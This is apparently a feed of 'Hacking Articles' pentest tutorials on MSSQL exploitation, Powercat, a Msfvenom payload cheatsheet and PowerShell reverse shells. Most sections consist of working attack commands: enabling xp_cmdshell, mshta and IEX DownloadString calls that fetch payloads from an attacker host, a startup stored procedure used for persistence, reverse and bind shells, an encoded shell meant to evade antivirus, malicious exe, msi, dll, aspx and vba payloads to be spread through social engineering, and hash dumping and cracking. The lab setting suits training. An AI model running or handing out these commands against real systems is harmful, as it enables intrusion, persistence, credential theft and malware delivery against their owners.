Quantcast
Channel: Penetration Testing Archives - Hacking Articles
Viewing all 812 articles
Browse latest View live

Metasploit for Pentester: Creds

$
0
0

This is in continuation with the Metasploit for Pentester series of articles that we are presenting.  More specifically we learned about the Workspaces and the Metasploit Database service in this article: Metasploit for Pentester: Database & Workspace. In this article, we will be discussing another database inside the Workspace that

The post Metasploit for Pentester: Creds appeared first on Hacking Articles.


MSSQL for Pentester: Abusing Linked Database

$
0
0

This article is another addition to our MSSQL for Pentesters series. In this article, we will learn how to create a linked server and exploit it.

Table of content

  • Introduction to Link Servers
  • Lab Set-Up
  • Exploiting Link Server
    • Enumeration
    • Code Execution with PowerUpSQL & Metasploit

Introduction to Link Servers

A linked server acts as a bridge between two servers. Through a link, server database can be viewed/shared/edited by two or more servers that have access to the said database. Data from tables can be joined together and queried through it. Linked Servers are designed for applications that need more flexibility over how data is stored and retrieved. Whether the application uses parallel processing, random queries, or joins between multiple Microsoft Access files, a Linked Server provides a better platform for flexible application development. Data from multiple sources can be added to one table or appended to existing data. You can use a Linked Server in place of an ordinary table like you might do when you make a copy of an existing database table.  Following things can be done via a Link Server:

  • Control query plans
  • Change column data type
  • Optimize queries on the remote server
  • Change plan for the local table
  • Access remote table data
  • Delete objects on the local database
  • Change server used to access local tables
  • Reconnect to a linked server
  • Use replicated parameters
  • Allow remote updates

Lab Set-Up

We will first set up a link server.  When the MSSQL server is installed, a default server is created on its own. But we need another server so that we can link both of them. So, to create another server, launch the installation process and choose New SQL Server Stand-alone installation or and add features to an existing installation as shown in the image below:

Then click on the Next button as shown in the image below:

In the next window of the dialogue box, select Perform a new installation of SQL Server 2016 and then click on the Next button as shown in the image below:

In the feature Selection dialogue box, choose the features you want to install and give the path of your instance. Afterwards, click on the Next button as  shown in the image below:

In the Instance configuration dialogue box, give the name of the server and click on the Next button as shown in the image below:

In the Server Configuration dialogue box, make sure the startup is automatic, and then click on the Next button as shown in the image below:

In the Database Engine Configuration dialogue box, select Mixed Mode under Authentication Mode and give the password for your server. Click on the Next button as shown in the image below:

Click on the Close button as the installation is now complete; just like shown in the image below:

Now to connect to the server, choose the <Browse for more…> option in the drop-down menu of Authentication as shown in the image below:

Choose your server and click on the OK button as shown in the image below:

Now, as you can see in the image below, we have our two servers.

Now go to the main server>Servere Objects>Linked Servers. Right-click on Linked Servers and choose New Linked Server… option from the drop-down menu as shown in the image below:

In the Linked Server option, give the name of the server you want to link. In the Server Type, choose the Other data source. Choose Microsoft OLE DB Provider from SQL Server from the drop-down menu of Provider. Give your default server as the data source and give the database name in the Catalog. Finally, click on the OK button as shown in the image below:

In the Server Options, make sure RPC and RPC Out are true, as shown in the image below:

In the Security tab, give the username and password of your default server, then click on the OK button as shown in the image below:

After all this, your linked server will be created as shown in the image below:

Exploiting Link Server

Enumeration

Now our link server is up and ready. As an attacker, we know nothing about the server. So, to enumerate the link server, we will use PowerUpSQL and its following command:

Import-Module .\PowerUpSQL.ps1
Get-SQLServerLink -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

As you can see in the image above, we have instance name, linked server name, and catalog name, among other helpful information.

Code Execution

Now, to remotely gain access to the linked server, we will use PowerUpSQL and Metasploit. These two tools have proved to be the best tools when it comes to attacking MSSQL Servers.

 Before we deploy these tools, we can go to facets>surface area configuration and confirm that XPCmdshell is disabled, as shown in the image below:

Now, we will enable this XPCmdshell by using the following command of PowerUpSQL:

Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"

Now that XPCmdshell is enabled, we will use Metasploit to generate a URL with the hta_server exploit, and for this use the following set of commands:

use exploit/windows/misc/hta_server
set srvhost eth0
exploit

We have our URL. Now, we will execute this URL via PowerUpSQL so that we can have our Meterpreter session. To deploy the said URL, use the following command:

Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"

Once the command is executed successfully, we will have our meterpreter session as shown in the image below:

In such a simple way, a linked server can be exploited and give the session to an attacker.

Reference: https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-link-crawling-powerupsql/

Author: Yashika Dhir is a Cyber Security Researcher, Penetration Tester, Red Teamer, Purple Team enthusiast. Contact her on Linkedin and Twitter

The post MSSQL for Pentester: Abusing Linked Database appeared first on Hacking Articles.

MSSQL for Pentester: Stored Procedures Persistence

$
0
0

In this article, we will learn one of many ways to gain persistence in SQL servers.  This article is an addition to our MSSQL for Pentesters series.

Gaining persistence is one of the significant steps when performing Red Team operations. And when performing such operations on MSSQL, there are possibilities to gain persistence with start-up stored procedures, triggers, and registry keys. If you have privileges of the correct user and database, then it is easy to achieve persistence. Persistence can be stealthier if the instance is running through a domain user.

When getting persistence via start-up stored procedures, the attacker must have sysadmin privileges. And another important thing is that this stored procedure should be in the master database. If sa does not own the stored procedures, they will not have input and output parameters, which means they will not be restarted with the server, which will beat the whole point of persistence.

So, let’s get started and see how we will get persistence with start-up stored procedures.

Firstly, let’s assume that xp_cmdshell is enabled, so now we will invoke the master database by using the following query:

USE master
GO

Now we will download the script for PowerShell one-liner on our attacking machine with the help of wget, as shown in the image below:

Now in the script, swap the given IP address with your localhost and local port with the help of the cat command. Once the IP address is switched, enable the python server to share the PowerShell script to the target machine as shown in the image below:

Now let’s create a stored procedure that will call upon the PowerShell script from the online python server and do so, use the following query:

CREATE PROCEDURE test_sp
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://192.168.1.2/Invoke-PowerShellTcpOneLine.ps1'')"'
GO

We will now move this store procedure to the start-up because we want it to execute itself as soon as the server starts. And we shall do this with the help of the following query:

EXEC sp_procoption @ProcName = 'test_sp'
, @OptionName = 'startup'
, @OptionValue = 'on';

Now we have our stored procedure in the start-up, which you can confirm using the following query:

SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

Let’s turn on our Netcat listener, as shown in the image below:

Now all that is left is to restart the server. And to restart the server, right-click on it and choose the stop option from the drop-down menu as shown in the image below:

And then again, right-click on the server and choose the start option from the drop-down menu as shown in the image below:

Once the server is restarted, you will have a session on netcat.

So, this is how one gets persistence locally using start-up stored procedures.

Author: Yashika Dhir is a Cyber Security Researcher, Penetration Tester, Red Teamer, Purple Team enthusiast. Contact her on Linkedin and Twitter

The post MSSQL for Pentester: Stored Procedures Persistence appeared first on Hacking Articles.

MSSQL for Pentester: Hashing

$
0
0

In this article, we will learn about multiple ways to get hashes of MSSQL users. Every version of MSSQL has different hashes. We have performed our practical on SQL Server 2016 version. Once we find the hashes, we will use JohnTheRipper to crack them.

Table of Content

  • Introduction to Hashing in SQL server
  • CLI
  • Nmap
  • PowerUpSQL
  • JohnTheRipper

Introduction to Hashing in SQL server

Hash is a specific type of algorithm that produces an output string of a fixed length. The hash code is always the same length, but it will vary in complexity depending on how it’s used and may produce different hashes for different input strings.

SQL Server uses hashing techniques instead of encryption as it offers a one-sided procedure to hash data. And because of hashing, there is less to zero chance for it to be reversed. From SQL server 2016, the only hashing algorithms used are SHA2_512 and SHA2_256. It creates hashes of 32 or 64 bit for the desired input. You can create a hash in the SQL server through the HashByte Function.

A hash produced in SQL server looks somewhat like the following:

CLI

To get hashes of all the users, use the following query:

SELECT * FROM sys.sql_logins

To the hashes of a particular user, use the following query:

select name,password_hash from sys.sql_logins where name='sa'

As you can see, both the above queries have given us the desired result.

Nmap

We can also retrieve the hashes remotely using Nmap. And the command to do so is the following:

nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=Password@1 192.168.1.146

And as the result of the above command, we have our hash.

PowerUpSQL

To the hashes remotely, PowerUpSQL provides a simple command which is as follows:

Import-Module .\PowerUpSQL.ps1
Get-SQLServerPasswordHash -username sa -Password Password@1  -instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

These are the multiple ways to retrieve the hashes for the MSSQL server, both remotely and locally.

JohnTheRipper

Now that we have acquired the hashes, all we have to do is crack them. For this, we will use the almighty password cracker tool, i.e., JohnTheRipper. And to de-hash the password hash, use the following command:

john --format=mssql12 --wordlist=pass hash

And the result shows us that the password is Password@1 which is accurate. SO, this way, one can dump and then crack the MSSQL hashes.

Author: Yashika Dhir is a Cyber Security Researcher, Penetration Tester, Red Teamer, Purple Team enthusiast. Contact her on Linkedin and Twitter

The post MSSQL for Pentester: Hashing appeared first on Hacking Articles.

MSSQL for Pentester: Command Execution with Extended Stored Procedures

$
0
0

Extended stored procedures are DLL files that are referenced by the SQL Server by having the extended stored procedure created which then reference functions or procedures within the DLL. The DLLs which are behind the extended stored procedures are typically created in a lower-level language like C or C++. Extended stored procedures run within the SQL Server, meaning that the code is executed within the SQL Server memory space. Thus DLL can have any file type extension and can be loaded from UNC path or Webdav.

Exploiting Extended Stored Procedures using PowerupSQL

Create the DLL to add to the SQL db

Import-Module .\Powerupsql.ps1
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc

With the help of Powerupsql, we have created a dll file in our local machine (Windows 10).

Register the dll from our system

In order to create or register an extended stored procedure, the login that the user uses to log into the database must be a member of the sysadmin fixed server role.

Typically, an extended stored procedure would be created with a name starting with xp_ or sp_ so that the database engine would automatically look in the master database for the object if there was no object with that name in the user database.

Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "sp_addextendedproc 'xp_calc', '\\192.168.1.145\fileshare\xp_calc.dll'"

List existing Extended stored procedures

Get-SQLStoredProcedureXP -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

Given below image is showing Databasename “master” where the store process exits. Other than that it has given Type_desc, name, text.

Extended stored procedures are always created within the master database, but can be referenced from any database.

Execute the stored procedure

Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "select @@version" -Verbose

Enable XP_CMD Shell

By default, XPCmdShell is disabled as shown in the image.

With the privileged account, an attacker creates a new stored procedure and will try to enable the xpcmdshell with the help of the following command.

Get-SQLQuery -UserName sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')" -Verbose

XP_CMD Shell Remote Code Execution

Once the xpcmdshell gets enabled then we can use Metasploit to execute the following module in order to get a reverse shell.

use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit

The exploit does not stop at just enabling the XP command shell. It then runs a series of commands that can help to get us a meterpreter shell on the target machine as shown in the image below

Read more about XPCmdshell from here.

Reference: https://www.sciencedirect.com/topics/computer-science/extended-stored-procedure

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

The post MSSQL for Pentester: Command Execution with Extended Stored Procedures appeared first on Hacking Articles.

MSSQL for Pentester: Extracting Juicy Information

$
0
0

In this post, you will learn how will can extract sensitive sample information stored in the mssql by using powerupsql and mssql. In our previous article, we have mention tools and techniques that can be used to enumerate MSSQL Instances.

Table of Contents

Lab setup

PowerupSQL

  • Extracting Database Name
  • Extracting Database Information
  • Extracting Database Login

Metasploit

Lab Setup

Follow the article for MSSQL Lab Setup and download PowerupSQL from Github. PowerUpSQL includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on the scale, and post-exploitation actions such as OS command execution.

In order to enumerate juicy information, let’s create a database, tables and records.

create database bank;

CREATE TABLE Customers (
    CustomerID int,
    LastName varchar(255),
    FirstName varchar(255),
    passw varchar(255),
    creditcard varchar(255)
);

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');

Extracting Database Name

You may use the command below to get a list of all SQL Server databases that are accessible.

Get-SQLDatabaseThreaded -Threads 10 -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -verbose | select -ExpandProperty DatabaseName

Extracting Database Information

The script given below utilises that variable to search all available SQL Servers for database table column names containing the given keywords.

Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

Extracting Database Login

This module will enumerate SQL Server Logins based on login id using SUSER_NAME() and only the Public role.

Import-Module .\PowerUpSQL
Get-SQLFuzzServerLogin -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -verbose

Metasploit

This script will search through all of the non-default databases on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS option. If column names are found that match the defined keywords and data is present in the associated tables, the script will select a sample of the records from each of the affected tables. The sample size is determined by the SAMPLE_SIZE option and results in output in a CSV format.

use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.146
set username Password@1
set  sample_size 4
set keywords FirstName|passw|credit
exploit

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

The post MSSQL for Pentester: Extracting Juicy Information appeared first on Hacking Articles.

Powercat for Pentester

$
0
0

Introduction

Powercat is a simple network utility used to perform low-level network communication operations. The tool is an implementation of the well-known Netcat in Powershell. Traditional anti-viruses are known to allow Powercat to execute. The installed size of the utility is 68 KB. The portability and platform independence of the tool makes it an essential arrow in every red teamer’s quiver. In this article, we’ll demonstrate and learn the functionality of this tool. You can download this here.

Table of Content

  • Basic Options in Powercat
  • Setting up Powercat
  • Port Scanning
  • File Transfer
  • Bind Shell
    • Netcat to Powercat
    • Powercat to Powercat
  • Reverse Shell
    • Netcat to Powercat
    • Powercat to Powercat
  • Standalone Shell
  • Encoded Shell
  • Tunnelling
  • Powercat One Liner

Basic Options in Powercat

Powercat supports various options to play around with. We’ll cover the following in this article.

-l Listen for a connection
-c Connect to a listener
-p The port to connect to, or listen on
-e Execute
-ep Execute Powershell
-g Generate Payload
-ge Generate Encoded Payload
-d Disconnect stream
-i Input data

Setting up Powercat

Powershell execution policy is a safety feature in Windows which determines which scripts can or cannot run on the system, therefore, we need to set the Powershell execution policy to “bypass.” This would allow all scripts to run without restriction. Thereafter, we need to download Powercat using wget.

powershell -ep bypass
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1

Now that we have downloaded the Powercat script, we can import it into the current Powershell terminal and then it could be used.

Import-Module .\powercat.ps1

Port Scanning

Powercat is equipped with the functionality to scan for open ports. It is able to do this by attempting a TCP connection to the ports defined. For example, if I have to check for a running service on port 21,22,80,443, we can do this by:

(21,22,80,443) | % {powercat -c 192.168.1.150 -p $_ -t 1 -Verbose -d}

 Note that here, we have appended port number as a list variable. The client mode (-c flag) specifies the client to scan. As we can observe in the screenshot below that if the port was found to be open, Powercat successfully set up a stream with the service. the disconnect option (-d) flag specifies Powercat to disconnect the stream as soon as it gets open. Hence, this is how open ports can be discovered using Powercat.

File Transfer

File transfer is possible in Powercat by data input in the data stream and fetching it at the client end.

Let’s create a text file called “notes.txt” in the current folder. Here, input flag (-i) is used to input data in the stream. This can be used to move files, byte array object or strings too.

Now, we’ll first set up the listener at the client end. Let us use netcat in Linux for ease here. After setting it up, we’ll then use Powercat to transfer this text file.

nc -lnvp 443 > notes.txt
powercat -c 192.168.1.3 -p 443 -i notes.txt

Now, whatever was in notes.txt has been transferred to our destination. As you can see, the file is successfully created after a successful connection was terminated.

 Bind Shell

Bind shell refers to the process where the attacker is able to connect to an open listener at the target machine and interact. To demonstrate this, we’ll set up a listener at the target using Powercat and then connect to it. There are two scenarios here:

  1. Netcat to Powercat: Here, the attacker is Kali and Windows has a listener running on it.

Attacker -> Kali

Victim -> Windows

In an ideal scenario, the attacker would deliver a code that gets executed to open a listener and then allow the attacker to further communicate with the victim by connecting to it.

powercat -l -p 443 -e cmd
nc 192.168.1.145 443

And thus, we observe that the interactive session is now active on the attacker machine.

  1. Powercat to Powercat: The same could be achieved between two Powercat scripts too. On the listener, we set up port 9000 and the attacker to connect and deliver the cmd executable.

Listener: Ignite (Windows username)

Attacker: raj (Windows username)

powercat -l -p 9000 -e cmd -v
powercat -c 192.168.1.145 -p 9000 -v

As you can see that the attacker is successfully being able to connect to the listener and spawns an interactive session. We checked the identity using whoami.

Reverse Shell

Reverse shell refers to the process in which the attacker machine has a listener running to which the victim connects and then the attacker executes code.

  1. Netcat to Powercat: Here, Kali (netcat) is the attacker machine with the listener running on port 443 and Windows running Powercat (victim) shall connect to it.

Attacker: Netcat (Kali)

Victim: Ignite (Windows username)

This is achieved by first running netcat in listener mode on the attacker machine and then running powercat in client mode to connect.

nc -lvnp 443
powercat -c 192.168.1.3 -p 443 -e cmd.exe

As you can see, as soon as the victim enters the Powershell command, we get an interactive shell

  1. Powercat to Powercat: The same can be done with two Windows devices too.

Attacker: Ignite (Windows Username)

Victim: raj (Windows Username)

Let’s set up a listener on port 9000 first and then run powercat in client mode to connect to it.

powercat -l -p 9000 -v
powercat -c 192.168.1.145 -p 9000 -e cmd -v

As you can see, an interactive shell has been spawned by connecting to this listener.

But of course, the above Powercat command at the victim’s end is just a simulation of how gaining an interactive shell through remote code execution in real life would work.

Standalone shell

The option is useful for when a script can be executed in the system. This allows an attacker to code a reverse shell in a “.ps1” file and wait for the script to be executed. Scenario 1: Let’s say a cron job is running that executes a script that has to write access. One can copy-paste the following command to get reverse shell easily even with no Powershell command execution access.

powercat -c 192.168.1.3 -p 443 -e cmd.exe -g > shell.ps1
.\shell.ps1

Make sure the listener is running. We are using Kali as an attacker machine using netcat.

nc -lnvp 443

As you can see, there are multiple ways to get an interactive shell on the target machine using netcat.

Encoded Shell

To evade traditional security devices like Anti-Virus solutions, we can encode the shell that we used above. Powercat has a good feature to encode a command to Hexadecimal Array. This way, some of the basic security features can be bypassed. This is done by:

powercat -c 192.168.1.3 -p 443 -e cmd.exe -ge > encodedshell.ps1

And then the shell can be run by using the powershell -E option which can execute an encoded string.

powershell -E <string>

The string is then encoded value from above.

We had set up a listener in our attacker machine (kali) beforehand and were waiting for the connection. As you can see the shell is getting executed successfully.

Tunnelling

Tunnelling is the most efficient mechanism of maintaining stealth while doing red team operations or even in real-life scenarios. Powershell and Powercat can help us with tunnelling and hiding our identity next time we conduct a red team assessment.

Here, there are three machines. Here, the Attacker communicates with a machine with two LAN cards and attacks a machine running on an alternate subnet (192.168.146.0/24)

Now, let’s assume the attacker already has access to the tunnel machine. We’ll replicate the scenario using the Enter-PSSession command. This utility allows us to get an interactive Powershell terminal of the tunnel with the help of credentials.

Enter-PSSession -ComputerName 192.168.1.45 -Credential raj

After we input the credentials, we can see that an interactive PowerShell session has been spawned.

We run ipconfig as a validator command however, we made an interesting observation. This machine had two LAN cards configured and there was another adapter attached. It is possible that other machines are running on this subnet.

To work on our observation, we’d need Powercat in this system. We download it using wget.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
ls

But before we can run this script, we need to change the execution policy again. Also, upon little searching, we found that 192.168.146.129 was alive and responding. Let’s scan this system using Powercat

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module .\powercat.ps1
(21, 22, 80, 443) | % { Powercat -c 192.168.146.129 -p $_ -t 1 -Verbose -d}

As you can see, there were three ports open: 21,22,80

Now, if we set up a traffic relay here, our attacker system might be able to communicate and connect with SSH on the victim machine (192.168.146.129)

We’ll use Powercat to set up a traffic relay:

powercat -l -p 9090 -r tcp:192.168.146.129:22 -v

As you can see above, TCP traffic from port 22 on 192.168.146.129 is now being relayed by 192.168.146.128 (tunnel) on port 9090. Thus, from an external system, we use PuTTY to connect to the tunnel machine’s 9090 port which will connect us to the victim machine.

And just like that, we now have completed our tunnel and accessed our victim machine.

We can use Powercat to setup relay on port 80 too through which we’ll be able to access the website running on victim.

powercat -l -p 9090 -r tcp:192.168.146.129:80 -v

As evident, the victim is now accessible through this tunnel.

Powercat One Liner

Powercat’s reverse shell exists as a one-liner command too. Assume that we have code execution on the victim, we can use Powercat’s one-liner to get a reverse shell back on the listener running on the attacker’s machine. For this process, we need to download Powercat in a separate folder and run a web server.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
python -m SimpleHTTPServer 80

Now, we’ll set up a listener on port 4444 in the attacker (kali) machine immediately. Meanwhile, we have code execution on the target and thus, we’ll use the following Powershell/Powercat one liner:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"

Soon as we hit enter, we’ll receive a reverse shell on the listener running in Kali.

Conclusion

Hence, we have demonstrated various functionality of Powercat in this article. The tool is being readily used in red team assessments and becoming part of major cyber security certification courses. Hope the article helps aspirants/students or analysts to understand the tool in a simple and effective way. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Powercat for Pentester appeared first on Hacking Articles.

Msfvenom Cheatsheet: Windows Exploitation

$
0
0

In this post, you will learn how to use MsfVenom to generate all types of payloads for exploiting the windows platform. Read beginner guide from here

Table of Content

  • Requirements
  • MsfVenom Syntax
  • Payload and its types
  • Executable Payload (exe)
  • Powershell Batch File
  • HTML Application Payload (HTA)
  • Microsoft Installer Payload (MSI)
  • Dynamic-link library Payload (DLL)
  • Powershell Payload (psh-cmd)
  • Powershell Payload (ps1)
  • Web shell Payload (ASPX)
  • Visual Basic Payload (.vba)

Requirements:

  • Kali Linux
  • Windows Machine

MsfVenom Syntax

MsfVenom is a Metasploit standalone payload generator which is also a replacement for msfpayload and msfencode.

Payload and its types

Payload, are malicious scripts that an attacker use to interact with a target machine in order to compromise it. Msfvenom supports the following platform and format to generate the payload. The output format could be in the form of executable files such as exe,php,dll or as a one-liner.

Two major types of Payloads  

Stager: They are commonly identified by second (/) such as windows/meterpreter/reverse_tcp

Stageless: The use of _ instead of the second / in the payload name such as windows/meterpreter_reverse_tcp

As we have mentioned above, this post may help you to learn all possible methods to generate various payload formats for exploiting the Windows Platform.

Executable Payload (exe)

Payload Type: Stager

Executing the following command to create a malicious exe file is a common filename extension denoting an executable file for Microsoft Windows.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f exe > shell.exe

Entire malicious code will be written inside the shell.exe file and will be executed as an exe program on the target machine.

Share this file using social engineering tactics and wait for target execution. Meanwhile, launch netcat as a listener for capturing reverse connection.

nc –lvp 443

Powershell Batch File

Payload Type: Stager

Execute the following command to create a malicious batch file, the filename extension .bat is used in DOS and Windows.

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.3 lport=443 > shell.bat

Entire malicious code will be written inside the shell.bat file and will be executed as .bat script on the target machine.

Share this file using social engineering tactics and wait for target execution. Meanwhile, launch netcat as the listener for capturing reverse connection.

nc –lvp 443

HTML Application Payload (HTA)

Payload Type: Stager

An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more scripting languages supported by Internet Explorer, such as VBScript or JScript

Execute the following command to create a malicious HTA file, the filename extension .hta is used in DOS and Windows.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta

Entire malicious code will be written inside the shell.hta file and will be executed as .hta script on the target machine. Use Python HTTP Server for file sharing.

mshta http://192.168.1.3/shell.hta

An HTA is executed using the program mshta.exe or double-clicking on the file

This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.

nc –lvp 443

Microsoft Installer Payload (MSI)

Windows Installer is also known as Microsoft Installer. An MSI file is a Windows package that provides installation information for a certain installer, such as the programs that need to be installed. It can be used to install Windows updates or third-party software same like exe.

Execute the following command to create a malicious MSI file, the filename extension .msi is used in DOS and Windows. Transfer the malicious on the target system and execute it.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f msi > shell.msi

Use the command msiexec to run the MSI file.

msiexec /quiet /qn /i shell.msi

This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.

Dynamic-link library Payload (DLL)

Payload Type: Stager

A DLL is a library that contains code and data that can be used by more than one program.

Execute the following command to create a malicious dll file, the filename extension .dll is used in DOS and Windows. Transfer the malicious on the target system and execute it.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f dll > shell.dll

Use the command rundll32 to run the MSI file.

rundll32.exe shell.dll,0

This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.

Powershell Payload (psh-cmd)

Payload Type: Stager

Format – psh, psh-net, psh-reflection, or psh-cmd

The generated payload for psh, psh-net, and psh-reflection formats have a .ps1 extension, and the generated payload for the psh-cmd format has a .cmd extension Else you can directly execute the raw code inside the Command Prompt of the target system.

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.3 lport=443 -f psh-cmd > -f raw

Execute the following command to generate raw code for the malicious PowerShell program.

For execution, copy the generated code and paste it into the Windows command prompt

This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.

Powershell Payload (ps1)

Payload Type: Stager

A PS1 file is a script, or “cmdlet,” used by Windows PowerShell. PS1 files are similar to .BAT and.CMD files, except that they are executed in Windows PowerShell instead of the Windows Command Prompt

Execute the following command to create a malicious PS1 script, the filename extension.PS1 is used in Windows PowerShell

msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.1.3 lport=443 -f psh > shell.ps1

Since the reverse shell type is meterpreter thus we need to launch exploit/multi/handler inside Metasploit framework.

PowerShell’s execution policy is a safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts. This feature helps prevent the execution of malicious scripts. Prevents running of all script files, including formatting and configuration files (.ps1xml), module script files (.psm1), and PowerShell profiles (.ps1).

Read more from here

In order to execute the PS1 script, you need to bypass the execution policy by running the following command in the Windows PowerShell and executing the script.

PowerShell –ep bypass
.\shell.ps1

msfconsole
use exploit/multi/handler
set lhost 192.168.1.3
set lport 443
set payload windows/x64/meterpreter_reverse_https

As soon as the target will execute the shell.ps1 script, an attacker will get a reverse connection through meterepreter session.

Web shell Payload (ASPX)

Payload Type: Stageless

An ASPX file is an Active Server Page Extended file for Microsoft’s ASP.NET platform. When the URL is viewed, these pages are shown in the user’s web browser, .NET web forms are another name for them.

Execute the following command to create a malicious aspx script, the filename extension .aspx.

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.3 lport=443 -f aspx > shell.aspx

Since the reverse shell type is meterpreter thus we need to launch exploit/multi/handler inside metasploit framework.

You can inject this payload for exploiting Unrestricted File Upload vulnerability if the target is IIS Web Server.

Execute the upload script in the web browser.

msfconsole
use exploit/multi/handler
set lhost 192.168.1.3
set lport 443
set payload windows/x64/meterpreter_reverse_https

As soon as the attacker execute the malicious script, he will get a reverse connection through meterepreter session.

Visual Basic Payload (.vba)

Payload Type: Stageless

VBA is a file extension commonly associated with Visual Basic which supports Microsoft applications such as Microsoft Excel, Office, PowerPoint, Word, and Publisher. It is used to create “macros.” that runs within Excel. An attacker takes the privilege of these features and creates a malicious VB script to be executed as a macros program with Microsoft excel.

Execute the following command to create a malicious aspx script, the filename extension .aspx that will be executed as macros within Microsoft excel.

Read more from here: Multiple Ways to Exploit Windows Systems using Macros

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.3 lport=443 -f vba

Now we open our Workbook that has the malicious macros injected in it. A comprehensive method of macros execution is explained in our previous post.

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.106
set lport 1234
exploit

As soon as the attacker execute the malicious script, he will get a reverse connection through meterepreter session.

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

The post Msfvenom Cheatsheet: Windows Exploitation appeared first on Hacking Articles.


PowerShell for Pentester: Windows Reverse Shell

$
0
0

Today, we’ll explore how to acquire a reverse shell using Powershell scripts on the Windows platform.

Table of Content

  • Powercat
  • Invoke-PowerShellTcp (Nishang)
  • ConPtyShell
  • Mini-reverse
  • PowerShell Reverse TCP
  • Web_delivery (Metasploit)

Requirements:

Kali Linux

Windows Machine

Powercat

Powercat is a basic network utility for performing low-privilege network communication operations. Powercat is a program that offers Netcat’s abilities to all current versions of Microsoft Windows. It tends to make use of native PowerShell version 2 components.

We need to go to the website listed below. Users may download the link because it is a Github website.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

Let’s transfer this file using Python, we must start the Python server.

python -m SimpleHTTPServer 80

Users must start a Netcat listener on port 4444 for obtaining a reverse connection by using the command

nc -vlp 4444.

So now we need to boot up our Windows machine and run the PowerShell command inside the command prompt (CMD). Please note that the IP address should be your local IP address (Kali IP address).

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"

You will get the reverse shell in the Netcat listener once the command is executed, can use the command whoami to see whether we get the correct shell. This will tell you the user account type logged in.

Invoke-PowerShellTcp (Nishang)

This PowerShell script can be used to Reverse or Bind Interactive PowerShell. To link up the script to a port, we need to use a Netcat listener.

This website, which is mentioned below, should be visited.

Since it is a Github website, you should indeed download the link.

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

